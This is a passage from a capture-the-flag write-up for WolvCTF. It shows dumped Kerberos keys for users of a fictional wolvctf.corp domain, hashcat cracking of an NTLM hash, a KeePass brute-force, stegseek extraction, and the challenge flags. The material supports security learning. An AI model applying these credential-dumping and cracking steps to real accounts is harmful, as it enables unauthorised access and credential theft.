wolvctf.corp\Amy:des-cbc-md5:73522c0170f120c1
wolvctf.corp\jessica:aes256-cts-hmac-sha1-96:8088cf6ebf4fae379d3d8cf0689e60d6c0f6f6aed5a69946d93418ea4962de68
wolvctf.corp\jessica:aes128-cts-hmac-sha1-96:8df17274caccb4e4ef84b0195669c842
wolvctf.corp\jessica:des-cbc-md5:19daa74645e398ba
wolvctf.corp\frank:aes256-cts-hmac-sha1-96:3dc99ada65b1bf26e6211c01dccaa3a87349afa35172c818a1e39ab6e1dd4035
wolvctf.corp\frank:aes128-cts-hmac-sha1-96:96d28a2a24a9a5fdadb6b31c7eab64bd
wolvctf.corp\frank:des-cbc-md5:1c6d2cad9e3dfd8c
wolvctf.corp\chris:aes256-cts-hmac-sha1-96:725f11a59f1c77f6ff41dd745cfc36e5229d09f271f471f9c52d7ed97793101a
wolvctf.corp\chris:aes128-cts-hmac-sha1-96:9d963b6be441bf2652dd4bc351415bed
wolvctf.corp\chris:des-cbc-md5:2ca2e983e632e5ba
wolvctf.corp\renee:aes256-cts-hmac-sha1-96:0ecee7ab365fd5a38999fae2ed19d3f02a9ed51e5987227023316ed8f19c77a2
wolvctf.corp\renee:aes128-cts-hmac-sha1-96:9e94283c417a8abe8f7752564b251051
wolvctf.corp\renee:des-cbc-md5:a1e69b1f1afef42a
wolvctf.corp\peter:aes256-cts-hmac-sha1-96:9558878dce8606d877c804dbbfea9cc42e0d4903f46158f5d8fd804c4a4dd5c2
wolvctf.corp\peter:aes128-cts-hmac-sha1-96:9e86af0d3775c494cdffa0be7190b030
wolvctf.corp\peter:des-cbc-md5:0867d54016ba0704
wolvctf.corp\dan:aes256-cts-hmac-sha1-96:f55a42a6f1784346962ff1c1e53c6e8384be32bcc781d90c4c8a1227dda3aebc
wolvctf.corp\dan:aes128-cts-hmac-sha1-96:9579003b132f9d68609107529450c919
wolvctf.corp\dan:des-cbc-md5:467cfb4a9dec7c46
wolvctf.corp\jake:aes256-cts-hmac-sha1-96:f166119ffe48d3f1bd6cce6cfe796045943d6e161d9b864ef2668dbb0f83003b
wolvctf.corp\jake:aes128-cts-hmac-sha1-96:fb335f8432d5caf9b5250568c6457122
wolvctf.corp\jake:des-cbc-md5:54917531317aec83
[*] Cleaning up...

Where we can find the NTLM hash for jessica so we create a custom wordlist for the flag using the know prefix and I used cities.txt for the cities part to create the custom wordlist for brute force using hashcat.

1
2
$ hashcat --show -m 1000 8fcdcffba18f392df7aa291527290aff wordlistx.txt
8fcdcffba18f392df7aa291527290aff:wctf{bl00dh0und_is_c00l_votuporanga985}

And with the attacker gets Admin access and we get our last flag.

Flag 3:

1
wctf{bl00dh0und_is_c00l_votuporanga985}

Flags and Conclusion

1
2
3
wctf{d0nt_3n4bl3_xP_cmdsh311_w1th_d3fault_cr3ds_0r_enabl3_4ut0log0n_0k??!?}
wctf{asr3pr04st3d?_sh0uldv3_3nabl3d_s0m3_k3b3r0s_pr34th_4nd_d0nt_us3_4ll3xtendedr1ghts}
wctf{bl00dh0und_is_c00l_votuporanga985}

Overall I really enjoyed this challenge series and a big shoutout to @dree for creating such fun challenges. The challenge helps in learn a lot about Kerboros, WinPEAS, NTDS and many other things.

Passwords

A fairly simply challenge where we are given a .kdbx file and all we had to was brute force the keepass password using rockoyu.txt to get password as goblue1 and then just opening the file gives us the flag.

Image

Flag:

1
wctf{1_th0ught_1t_w4s_s3cur3?}

Breakout

Another simple challenge where Stegseek on the given breakout.jpg reveals breakout.ch8 file file which on some googling turns out to be a chip8 game.

1
2
3
4
5
6
$ stegseek --crack breakout.jpg rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "breakout.ch8".
[i] Extracting to "breakout.jpg.out".

So on loading this file in an online CHIP-8 emulator we get a game and as soon as we complete the game we are given the flag.

Image

Flag:

1
WCTF{GAME_OVER_VMASBKLTNUFMGS}